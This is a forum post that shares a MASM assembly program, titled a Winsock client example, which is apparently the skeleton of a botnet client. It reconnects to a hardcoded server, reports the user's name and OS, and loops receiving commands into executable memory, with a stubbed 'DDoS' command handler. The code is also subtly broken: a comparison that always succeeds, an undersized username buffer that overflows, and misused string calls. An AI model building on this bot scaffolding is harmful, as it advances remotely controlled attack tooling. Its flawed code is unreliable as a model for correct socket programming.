Login Register






[masm] winsock client example filter_list
Author
Message
[masm] winsock client example #1
Code:
; Winsock Client Example ; Coded by dopamine for vsec.co .386 .model flat, stdcall option casemap: none include ws2_32.inc include windows.inc include user32.inc include kernel32.inc include masm32.inc include advapi32.inc includelib kernel32.lib includelib user32.lib includelib ws2_32.lib includelib masm32.lib includelib advapi32.lib .data szRemoteHost db "127.0.0.1", 0 iRemotePort dd 81 szConnected db "Connected!", 0 szErrorSending db "Sending error!", 0 RemoteAddr sockaddr_in <> szIdent db "1.0.0.0|%s|%s|%s", 0 szStatus db "Idle...", 0 szOS db "Windows 7", 0 szUsername db "Admin", 0 szDdosPacket db "Ddos packet", 0 .data? wsaData WSADATA <> hClient dd ? .code GetPCUsername proc pUsername: DWORD Local dwBufferSize: DWORD mov dwBufferSize, 256 invoke GetUserName, pUsername, addr dwBufferSize invoke lstrlen, pUsername ret GetPCUsername endp SendPacket proc bPacket: BYTE, pBuffer: DWORD Local pData[256]: BYTE invoke RtlZeroMemory, addr pData, 256 ;Init memory invoke lstrcat, addr pData, addr bPacket ;Append Packet_ID to Packet invoke lstrcat, addr pData, pBuffer ;Append Buffer to Packet invoke lstrlen, addr pData ;Get length of Packet invoke send, hClient, addr pData, eax, 0 ;Send packet to server invoke RtlZeroMemory, addr pData, 256 ;Clear memory ret SendPacket endp ConnectToServer proc mov RemoteAddr.sin_family, AF_INET invoke htons, iRemotePort mov RemoteAddr.sin_port, ax invoke inet_addr, addr szRemoteHost mov RemoteAddr.sin_addr, eax invoke connect, hClient, addr RemoteAddr, sizeof RemoteAddr ret ConnectToServer endp Send_Ident proc Local pBuffer[256]: BYTE invoke RtlZeroMemory, addr pBuffer, 256 invoke GetPCUsername, addr szUsername invoke wsprintf, addr pBuffer, addr szIdent, addr szStatus, addr szUsername, addr szOS invoke SendPacket, 1, addr pBuffer invoke RtlZeroMemory, addr pBuffer, 256 ret Send_Ident endp Handle_Data proc bPacket: BYTE, pData: DWORD cmp byte ptr [bPacket], 1 je handle_ddos jne finish handle_ddos: invoke MessageBox, 0, addr szDdosPacket, addr szDdosPacket, 0 jmp finish finish: ret Handle_Data endp ReceiveData proc Local pBuffer[8192]: BYTE Local dwRead: DWORD Local bPacket: BYTE Local pArguments: DWORD invoke RtlZeroMemory, addr pBuffer, 8192 receive: invoke recv, hClient, addr pBuffer, sizeof pBuffer, 0 cmp eax, 0 je disconnect cmp eax, SOCKET_ERROR je disconnect handle_data: mov dwRead, eax ;Move readed amount of data in dwRead invoke RtlMoveMemory, addr bPacket, addr pBuffer, 1 mov eax, dwRead dec eax push eax invoke VirtualAlloc, 0, eax, MEM_COMMIT, PAGE_EXECUTE_READWRITE mov pArguments, eax pop eax invoke RtlMoveMemory, pArguments, addr pBuffer[1], eax invoke Handle_Data, bPacket, pArguments invoke RtlZeroMemory, addr pBuffer, 8192 jmp receive disconnect: ret ReceiveData endp start: invoke WSAStartup, 101h, addr wsaData cmp eax, eax jz connect_to_server xor eax, eax ; set eax to 0 invoke ExitProcess, eax; ExitProcess(0) connected_to_server: invoke MessageBox, NULL, addr szConnected, addr szConnected, NULL invoke Send_Ident invoke ReceiveData invoke closesocket, hClient jmp connect_to_server connect_to_server: invoke MessageBox, NULL, addr szRemoteHost, addr szRemoteHost, NULL invoke socket, AF_INET, SOCK_STREAM, IPPROTO_TCP ;create socket cmp eax, SOCKET_ERROR ; check if created successfully je connect_to_server; Failed. Try again mov hClient, eax invoke ConnectToServer cmp eax, 0 je connected_to_server invoke closesocket, hClient jmp connect_to_server end start

Reply